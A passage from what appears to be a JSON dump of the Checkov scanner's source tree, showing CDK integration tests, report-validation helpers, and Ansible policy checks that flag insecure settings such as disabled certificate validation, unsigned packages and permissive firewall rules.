test_CKV_AWS_44_NeptuneClusterStorageEncrypted(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_44\", policy_name=\"NeptuneClusterStorageEncrypted\",\n              language=\"typescript\")\n\n\n# unskip after BCE-33034\n# def test_CKV_AWS_118_RDSEnhancedMonitorEnabled(failed_checks):\n#     run_check(check_results=failed_checks, check_id=\"CKV_AWS_118\", policy_name=\"RDSEnhancedMonitorEnabled\",\n#               language=\"typescript\")\n\n\ndef test_CKV_AWS_157_RDSMultiAZEnabled(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_157\", policy_name=\"RDSMultiAZEnabled\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_17_RDSPubliclyAccessible(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_17\", policy_name=\"RDSPubliclyAccessible\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_105_RedShiftSSL(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_105\", policy_name=\"RedShiftSSL\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_64_RedshiftClusterEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_64\", policy_name=\"RedshiftClusterEncryption\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_71_RedshiftClusterLogging(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_71\", policy_name=\"RedshiftClusterLogging\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_87_RedshiftClusterPubliclyAccessible(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_87\", policy_name=\"RedshiftClusterPubliclyAccessible\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_154_RedshiftInEc2ClassicMode(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_154\", policy_name=\"RedshiftInEc2ClassicMode\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_53_S3BlockPublicACLs(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_53\", policy_name=\"S3BlockPublicACLs\",\n              language=\"typescript\")\n\n\ndef test_CKV_AWS_54_S3BlockPublicPolicy(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_54\", policy_name=\"S3BlockPublicPolicy\",\n              language=\"typescript\")\n"
  },
  {
    "path": "cdk_integration_tests/utils.py",
    "content": "import json\nimport os\nfrom typing import List, Dict, Any\nimport yaml\n\n\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\n\n\ndef load_failed_checks_from_file(lang: str) -> Dict[str, List[Dict[str, Any]]]:\n    report_path = os.path.join(current_dir, '..', 'checkov_report_cdk.json')\n    with open(report_path) as f:\n        data = f.read()\n        reports = json.loads(data)\n        for report in reports:\n            if report.get('check_type') == f'cdk_{lang}':\n                assert report is not None\n                results = report.get(\"results\", {})\n                failed_checks = results.get(\"failed_checks\")\n                skipped_checks = results.get(\"skipped_checks\")\n                results = {}\n                for check in failed_checks:\n                    check_id = check['check_id']\n                    if not results.get(check_id):\n                        results[check_id] = []\n                    results[check_id].append(check)\n                for check in skipped_checks:\n                    check_id = check['check_id']\n                    if not results.get(check_id):\n                        results[check_id] = []\n                    results[check_id].append(check)\n                return results\n    return {}\n\n\ndef is_policy_with_correct_check_id(check_id: str, language: str, policy_name: str) -> bool:\n    path = os.path.join(current_dir, '..', 'checkov', 'cdk', 'checks', language, policy_name + \".yaml\")\n    with open(path, 'r') as file:\n        data = yaml.safe_load(file)\n    if 'metadata' in data and 'id' in data['metadata'] and data['metadata']['id'] == check_id:\n        return True\n    return False\n\n\ndef run_check(check_results: Dict[str, List[Dict[str, Any]]], check_id: str, policy_name: str, language: str) -> None:\n    assert is_policy_with_correct_check_id(check_id, language, policy_name)\n    results_for_check_id = check_results.get(check_id)\n    assert results_for_check_id\n\n\ndef validate_report(report_path: str) -> None:\n    with open(report_path) as f:\n        data = f.read()\n        report = json.loads(data)\n        assert report is not None\n        results = report.get(\"results\")\n        assert results is not None\n        passed_checks = results.get(\"passed_checks\")\n        failed_checks = results.get(\"failed_checks\")\n        assert not passed_checks\n        assert failed_checks is not None\n        assert isinstance(failed_checks, list)\n        assert len(failed_checks) > 0\n        summary = report.get(\"summary\")\n        assert summary.get(\"passed\") == 0\n        assert summary.get(\"failed\") > 0\n"
  },
  {
    "path": "checkov/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/ansible/__init__.py",
    "content": "from checkov.ansible.checks import *  # noqa\n"
  },
  {
    "path": "checkov/ansible/checks/__init__.py",
    "content": "from checkov.ansible.checks.task import *  # noqa\n"
  },
  {
    "path": "checkov/ansible/checks/base_ansible_task_check.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.ansible.checks.registry import registry\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.models.enums import CheckResult\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckCategories\n\n\nclass BaseAnsibleTaskCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_modules: Iterable[str],\n        block_type: str,\n        guideline: str | None = None,\n        path: str | None = None,\n    ) -> None:\n        supported_entities = [\n            entity\n            for module in supported_modules\n            for entity in (\n                f'[].tasks[?\"{module}\" != null][]',\n                f'[?\"{module}\" != null][]',\n                f'[].tasks[].block[?\"{module}\" != null][]',\n                f'[].block[?\"{module}\" != null][]',\n                f'[].tasks[].block[].block[?\"{module}\" != null][]',\n                f'[].block[].block[?\"{module}\" != null][]',\n                # in theory, it can be more nested, but let's stop at 3 levels\n                # jmespath lib doesn't support recursive search https://github.com/jmespath/jmespath.py/issues/110\n                f'[].tasks[].block[].block[].block[?\"{module}\" != null][]',\n                f'[].block[].block[].block[?\"{module}\" != null][]',\n            )\n        ]\n\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=block_type,\n            guideline=guideline,\n        )\n\n        self.entity_conf: dict[str, Any]  # stores the complete entity configuration\n        self.path = path\n        self.supported_modules = supported_modules\n\n        registry.register(self)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        self.entity_type = entity_type\n        self.entity_conf = conf\n\n        module_conf = next((conf[module] for module in self.supported_modules if module in conf), None)\n        if not module_conf:\n            # this should actually never happen, but better to be safe, than sorry\n            logging.info(f\"Failed to find supported module {self.supported_modules} in {json.dumps(conf)}\")\n            return CheckResult.UNKNOWN, conf\n\n        return self.scan_conf(module_conf)\n\n    @abstractmethod\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        pass\n"
  },
  {
    "path": "checkov/ansible/checks/base_ansible_task_value_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.ansible.checks.base_ansible_task_check import BaseAnsibleTaskCheck\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.yaml_doc.enums import BlockType\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckCategories\n\n\nclass BaseAnsibleTaskValueCheck(BaseAnsibleTaskCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_modules: Iterable[str],\n        guideline: str | None = None,\n        path: str | None = None,\n        missing_block_result: CheckResult = CheckResult.FAILED,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_modules=supported_modules,\n            block_type=BlockType.ARRAY,\n            guideline=guideline,\n            path=path,\n        )\n        self.missing_block_result = missing_block_result\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        inspected_key = self.get_inspected_key()\n        expected_values = self.get_expected_values()\n\n        value = find_in_dict(conf, inspected_key)\n\n        if value is None:\n            return self.missing_block_result, self.entity_conf\n        if ANY_VALUE in expected_values:\n            return CheckResult.PASSED, self.entity_conf\n        if value in expected_values:\n            return CheckResult.PASSED, self.entity_conf\n        # quite often string values are case-insensitive\n        if isinstance(value, str) and value.lower() in [exp.lower() for exp in expected_values if isinstance(exp, str)]:\n            return CheckResult.PASSED, self.entity_conf\n\n        return CheckResult.FAILED, self.entity_conf\n\n    @abstractmethod\n    def get_inspected_key(self) -> str:\n        \"\"\"\n        :return: JSONPath syntax path of the checked attribute\n        \"\"\"\n        raise NotImplementedError()\n\n    def get_expected_values(self) -> list[Any]:\n        \"\"\"\n        Override the method with the list of acceptable values if the check has more than one possible expected value, given\n        the inspected key\n        :return: List of expected values, defaults to a list of the expected value\n        \"\"\"\n        return [self.get_expected_value()]\n\n    def get_expected_value(self) -> Any:\n        \"\"\"\n        Returns the default expected value, governed by provider best practices\n        \"\"\"\n        return True\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [self.get_inspected_key()]\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/BlockErrorHandling.yaml",
    "content": "metadata:\n  id: \"CKV2_ANSIBLE_3\"\n  name: \"Ensure block is handling task errors properly\"\n  category: \"BACKUP_AND_RECOVERY\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - block\n  attribute: rescue\n  operator: exists\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/DnfDisableGpgCheck.yaml",
    "content": "metadata:\n  id: \"CKV2_ANSIBLE_4\"\n  name: \"Ensure that packages with untrusted or missing GPG signatures are not used by dnf\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - tasks.ansible.builtin.dnf\n    - tasks.dnf\n  attribute: disable_gpg_check\n  operator: not_equals\n  value: true\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/DnfSslVerify.yaml",
    "content": "metadata:\n  id: \"CKV2_ANSIBLE_5\"\n  name: \"Ensure that SSL validation isn't disabled with dnf\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - tasks.ansible.builtin.dnf\n    - tasks.dnf\n  attribute: sslverify\n  operator: not_equals\n  value: false\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/DnfValidateCerts.yaml",
    "content": "metadata:\n  id: \"CKV2_ANSIBLE_6\"\n  name: \"Ensure that certificate validation isn't disabled with dnf\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - tasks.ansible.builtin.dnf\n    - tasks.dnf\n  attribute: validate_certs\n  operator: not_equals\n  value: false\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/GetUrlHttpsOnly.yaml",
    "content": "metadata:\n  id: \"CKV2_ANSIBLE_2\"\n  name: \"Ensure that HTTPS url is used with get_url\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: attribute\n      resource_types:\n        - tasks.ansible.builtin.get_url\n        - tasks.get_url\n      attribute: url\n      operator: not_starting_with\n      value: \"http://\"\n    - cond_type: attribute\n      resource_types:\n        - tasks.ansible.builtin.get_url\n        - tasks.get_url\n      attribute: url\n      operator: not_starting_with\n      value: \"ftp://\"\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/PanosIPsecAuthenticationAlgorithms.yaml",
    "content": "metadata:\n  id: \"CKV_PAN_12\"\n  name: \"Ensure IPsec profiles do not specify use of insecure authentication algorithms\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_ipsec_profile\n    attribute: esp_authentication\n    operator: exists\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_ipsec_profile\n    attribute: esp_authentication\n    operator: not_contains\n    value: 'none'\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_ipsec_profile\n    attribute: esp_authentication\n    operator: not_contains\n    value: 'md5'\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_ipsec_profile\n    attribute: esp_authentication\n    operator: not_contains\n    value: 'sha1'\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/PanosIPsecProtocols.yaml",
    "content": "metadata:\n  id: \"CKV_PAN_13\"\n  name: \"Ensure IPsec profiles do not specify use of insecure protocols\"\n  category: \"NETWORKING\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - tasks.paloaltonetworks.panos.panos_ipsec_profile\n  attribute: ah_authentication\n  operator: not_exists\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/PanosInterfaceMgmtProfileNoHTTP.yaml",
    "content": "metadata:\n  id: \"CKV_PAN_2\"\n  name: \"Ensure plain-text management HTTP is not enabled for an Interface Management Profile\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_management_profile\n    attribute: http\n    operator: not_exists\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_management_profile\n    attribute: http\n    operator: not_equals\n    value: true\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/PanosInterfaceMgmtProfileNoTelnet.yaml",
    "content": "metadata:\n  id: \"CKV_PAN_3\"\n  name: \"Ensure plain-text management Telnet is not enabled for an Interface Management Profile\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_management_profile\n    attribute: telnet\n    operator: not_exists\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_management_profile\n    attribute: telnet\n    operator: not_equals\n    value: true\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/PanosPolicyDescription.yaml",
    "content": "metadata:\n  id: \"CKV_PAN_8\"\n  name: \"Ensure description is populated within security policies\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_security_rule\n    attribute: description\n    operator: exists\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_security_rule\n    attribute: description\n    operator: is_not_empty\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/PanosPolicyLogForwarding.yaml",
    "content": "metadata:\n  id: \"CKV_PAN_9\"\n  name: \"Ensure a Log Forwarding Profile is selected for each security policy rule\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_security_rule\n    attribute: log_setting\n    operator: exists\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_security_rule\n    attribute: log_setting\n    operator: is_not_empty\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/PanosPolicyLogSessionStart.yaml",
    "content": "metadata:\n  id: \"CKV_PAN_16\"\n  name: \"Ensure logging at session start is disabled within security policies except for troubleshooting and long lived GRE tunnels\"\n  category: \"LOGGING\"\ndefinition:\n  # Logging config flag \"log_start = true \" is specified, defaults to false, which is a pass\n  or:\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_security_rule\n    attribute: log_start\n    operator: not_equals_ignore_case\n    value: true\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_security_rule\n    attribute: log_start\n    operator: not_exists"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/PanosPolicyLoggingEnabled.yaml",
    "content": "metadata:\n  id: \"CKV_PAN_10\"\n  name: \"Ensure logging at session end is enabled within security policies\"\n  category: \"NETWORKING\"\ndefinition:\n  # Logging config flag \"log_end\" is not specified, defaults to true, which is a pass\n  cond_type: attribute\n  resource_types:\n    - tasks.paloaltonetworks.panos.panos_security_rule\n  attribute: log_end\n  operator: not_equals\n  value: false\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/PanosPolicyNoApplicationAny.yaml",
    "content": "metadata:\n  id: \"CKV_PAN_5\"\n  name: \"Ensure security rules do not have 'application' set to 'any'\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_security_rule\n    attribute: application\n    operator: exists\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_security_rule\n    attribute: application\n    operator: is_not_empty\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_security_rule\n    attribute: application\n    operator: not_equals_ignore_case\n    value: 'any'\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/PanosPolicyNoDSRI.yaml",
    "content": "metadata:\n  id: \"CKV_PAN_4\"\n  name: \"Ensure DSRI is not enabled within security policies\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_security_rule\n    attribute: disable_server_response_inspection\n    operator: equals\n    value: false\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_security_rule\n    attribute: disable_server_response_inspection\n    operator: not_exists # Default value is false which passes the check\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/PanosPolicyNoServiceAny.yaml",
    "content": "metadata:\n  id: \"CKV_PAN_6\"\n  name: \"Ensure security rules do not have 'service' set to 'any'\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_security_rule\n    attribute: service\n    operator: exists\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_security_rule\n    attribute: service\n    operator: is_not_empty\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_security_rule\n    attribute: service\n    operator: not_equals_ignore_case\n    value: 'any'\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/PanosPolicyNoSrcAnyDstAny.yaml",
    "content": "metadata:\n  id: \"CKV_PAN_7\"\n  name: \"Ensure security rules do not have 'source_ip' and 'destination_ip' both containing values of 'any'\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n  - and:\n    - cond_type: attribute\n      resource_types:\n        - tasks.paloaltonetworks.panos.panos_security_rule\n      attribute: source_ip\n      operator: exists\n    - cond_type: attribute\n      resource_types:\n        - tasks.paloaltonetworks.panos.panos_security_rule\n      attribute: source_ip\n      operator: is_not_empty\n    - cond_type: attribute\n      resource_types:\n        - tasks.paloaltonetworks.panos.panos_security_rule\n      attribute: source_ip\n      operator: not_equals_ignore_case\n      value: 'any'\n  - and:\n    - cond_type: attribute\n      resource_types:\n        - tasks.paloaltonetworks.panos.panos_security_rule\n      attribute: destination_ip\n      operator: exists\n    - cond_type: attribute\n      resource_types:\n        - tasks.paloaltonetworks.panos.panos_security_rule\n      attribute: destination_ip\n      operator: is_not_empty\n    - cond_type: attribute\n      resource_types:\n        - tasks.paloaltonetworks.panos.panos_security_rule\n      attribute: destination_ip\n      operator: not_equals_ignore_case\n      value: 'any'\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/PanosPolicyNoSrcZoneAnyNoDstZoneAny.yaml",
    "content": "metadata:\n  id: \"CKV_PAN_17\"\n  name: \"Ensure security rules do not have 'source_zone' and 'destination_zone' both containing values of 'any'\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n  - and:\n    - cond_type: attribute\n      resource_types:\n        - tasks.paloaltonetworks.panos.panos_security_rule\n      attribute: source_zone\n      operator: exists\n    - cond_type: attribute\n      resource_types:\n        - tasks.paloaltonetworks.panos.panos_security_rule\n      attribute: source_zone\n      operator: is_not_empty\n    - cond_type: attribute\n      resource_types:\n        - tasks.paloaltonetworks.panos.panos_security_rule\n      attribute: source_zone\n      operator: not_equals_ignore_case\n      value: 'any'\n  - and:\n    - cond_type: attribute\n      resource_types:\n        - tasks.paloaltonetworks.panos.panos_security_rule\n      attribute: destination_zone\n      operator: exists\n    - cond_type: attribute\n      resource_types:\n        - tasks.paloaltonetworks.panos.panos_security_rule\n      attribute: destination_zone\n      operator: is_not_empty\n    - cond_type: attribute\n      resource_types:\n        - tasks.paloaltonetworks.panos.panos_security_rule\n      attribute: destination_zone\n      operator: not_equals_ignore_case\n      value: 'any'\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/PanosZoneProtectionProfile.yaml",
    "content": "metadata:\n  id: \"CKV_PAN_14\"\n  name: \"Ensure a Zone Protection Profile is defined within Security Zones\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_zone\n    attribute: zone_profile\n    operator: exists\n  - cond_type: attribute\n    resource_types:\n      - tasks.paloaltonetworks.panos.panos_zone\n    attribute: zone_profile\n    operator: is_not_empty\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/PanosZoneUserIDIncludeACL.yaml",
    "content": "metadata:\n  id: \"CKV_PAN_15\"\n  name: \"Ensure an Include ACL is defined for a Zone when User-ID is enabled\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n      # If User-ID is enabled, also check for a non-empty Include ACL\n      - and:\n            - cond_type: attribute\n              resource_types:\n                - tasks.paloaltonetworks.panos.panos_zone\n              attribute: enable_userid\n              operator: equals\n              value: true\n            - cond_type: attribute\n              resource_types:\n                - tasks.paloaltonetworks.panos.panos_zone\n              attribute: include_acl\n              operator: exists\n            - cond_type: attribute\n              resource_types:\n                - tasks.paloaltonetworks.panos.panos_zone\n              attribute: include_acl\n              operator: is_not_empty\n\n      # Or if User-ID is not enabled, there is no need to check for an Include ACL\n      - cond_type: attribute\n        resource_types:\n          - tasks.paloaltonetworks.panos.panos_zone\n        attribute: enable_userid\n        operator: not_exists\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/UriHttpsOnly.yaml",
    "content": "metadata:\n  id: \"CKV2_ANSIBLE_1\"\n  name: \"Ensure that HTTPS url is used with uri\"\n  category: \"NETWORKING\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - tasks.ansible.builtin.uri\n    - tasks.uri\n  attribute: url\n  operator: starting_with\n  value: \"https://\"\n"
  },
  {
    "path": "checkov/ansible/checks/graph_checks/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/ansible/checks/registry.py",
    "content": "from checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.yaml_doc.base_registry import Registry\n\nregistry = Registry(CheckType.ANSIBLE)\n"
  },
  {
    "path": "checkov/ansible/checks/task/__init__.py",
    "content": "from checkov.ansible.checks.task.aws import *  # noqa\nfrom checkov.ansible.checks.task.builtin import *  # noqa\n"
  },
  {
    "path": "checkov/ansible/checks/task/aws/EC2EBSOptimized.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.ansible.checks.base_ansible_task_value_check import BaseAnsibleTaskValueCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass EC2EBSOptimized(BaseAnsibleTaskValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that EC2 is EBS optimized\"\n        id = \"CKV_AWS_135\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=(CheckCategories.GENERAL_SECURITY,),\n            supported_modules=(\"amazon.aws.ec2_instance\", \"ec2_instance\"),\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        if not conf.get(\"image_id\") and not conf.get(\"image\"):\n            # if 'image_id' or 'image' are not set, then an already running instance is targeted\n            return CheckResult.UNKNOWN, self.entity_conf\n\n        return super().scan_conf(conf=conf)\n\n    def get_inspected_key(self) -> str:\n        return \"ebs_optimized\"\n\n\ncheck = EC2EBSOptimized()\n"
  },
  {
    "path": "checkov/ansible/checks/task/aws/EC2PublicIP.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.ansible.checks.base_ansible_task_value_check import BaseAnsibleTaskValueCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass EC2PublicIP(BaseAnsibleTaskValueCheck):\n    def __init__(self) -> None:\n        name = \"EC2 instance should not have public IP.\"\n        id = \"CKV_AWS_88\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=(CheckCategories.NETWORKING,),\n            supported_modules=(\"amazon.aws.ec2_instance\", \"ec2_instance\"),\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        if not conf.get(\"image_id\") and not conf.get(\"image\"):\n            # if 'image_id' or 'image' are not set, then an already running instance is targeted\n            return CheckResult.UNKNOWN, self.entity_conf\n\n        return super().scan_conf(conf=conf)\n\n    def get_inspected_key(self) -> str:\n        return \"network/assign_public_ip\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = EC2PublicIP()\n"
  },
  {
    "path": "checkov/ansible/checks/task/aws/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/ansible/checks/task/builtin/AptAllowUnauthenticated.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.ansible.checks.base_ansible_task_value_check import BaseAnsibleTaskValueCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass AptAllowUnauthenticated(BaseAnsibleTaskValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that packages with untrusted or missing signatures are not used\"\n        id = \"CKV_ANSIBLE_5\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=(CheckCategories.GENERAL_SECURITY,),\n            supported_modules=(\"ansible.builtin.apt\", \"apt\"),\n            missing_block_result=CheckResult.PASSED,\n        )\n\n    def get_expected_value(self) -> Any:\n        return False\n\n    def get_inspected_key(self) -> str:\n        return \"allow_unauthenticated\"\n\n\ncheck = AptAllowUnauthenticated()\n"
  },
  {
    "path": "checkov/ansible/checks/task/builtin/AptForce.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.ansible.checks.base_ansible_task_value_check import BaseAnsibleTaskValueCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass AptForce(BaseAnsibleTaskValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that the force parameter is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state\"\n        id = \"CKV_ANSIBLE_6\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=(CheckCategories.GENERAL_SECURITY,),\n            supported_modules=(\"ansible.builtin.apt\", \"apt\"),\n            missing_block_result=CheckResult.PASSED,\n        )\n\n    def get_expected_value(self) -> Any:\n        return False\n\n    def get_inspected_key(self) -> str:\n        return \"force\"\n\n\ncheck = AptForce()\n"
  },
  {
    "path": "checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py",
    "content": "from __future__ import annotations\n\nfrom checkov.ansible.checks.base_ansible_task_value_check import BaseAnsibleTaskValueCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass GetUrlValidateCerts(BaseAnsibleTaskValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that certificate validation isn't disabled with get_url\"\n        id = \"CKV_ANSIBLE_2\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=(CheckCategories.GENERAL_SECURITY,),\n            supported_modules=(\"ansible.builtin.get_url\", \"get_url\"),\n            missing_block_result=CheckResult.PASSED,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"validate_certs\"\n\n\ncheck = GetUrlValidateCerts()\n"
  },
  {
    "path": "checkov/ansible/checks/task/builtin/UriValidateCerts.py",
    "content": "from __future__ import annotations\n\nfrom checkov.ansible.checks.base_ansible_task_value_check import BaseAnsibleTaskValueCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass UriValidateCerts(BaseAnsibleTaskValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that certificate validation isn't disabled with uri\"\n        id = \"CKV_ANSIBLE_1\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=(CheckCategories.GENERAL_SECURITY,),\n            supported_modules=(\"ansible.builtin.uri\", \"uri\"),\n            missing_block_result=CheckResult.PASSED,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"validate_certs\"\n\n\ncheck = UriValidateCerts()\n"
  },
  {
    "path": "checkov/ansible/checks/task/builtin/YumSslVerify.py",
    "content": "from __future__ import annotations\n\nfrom checkov.ansible.checks.base_ansible_task_value_check import BaseAnsibleTaskValueCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass YumSslVerify(BaseAnsibleTaskValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that SSL validation isn't disabled with yum\"\n        id = \"CKV_ANSIBLE_4\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=(CheckCategories.GENERAL_SECURITY,),\n            supported_modules=(\"ansible.builtin.yum\", \"yum\"),\n            missing_block_result=CheckResult.PASSED,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"sslverify\"\n\n\ncheck = YumSslVerify()\n"
  },
  {
    "path": "checkov/ansible/checks/task/builtin/YumValidateCerts.py",
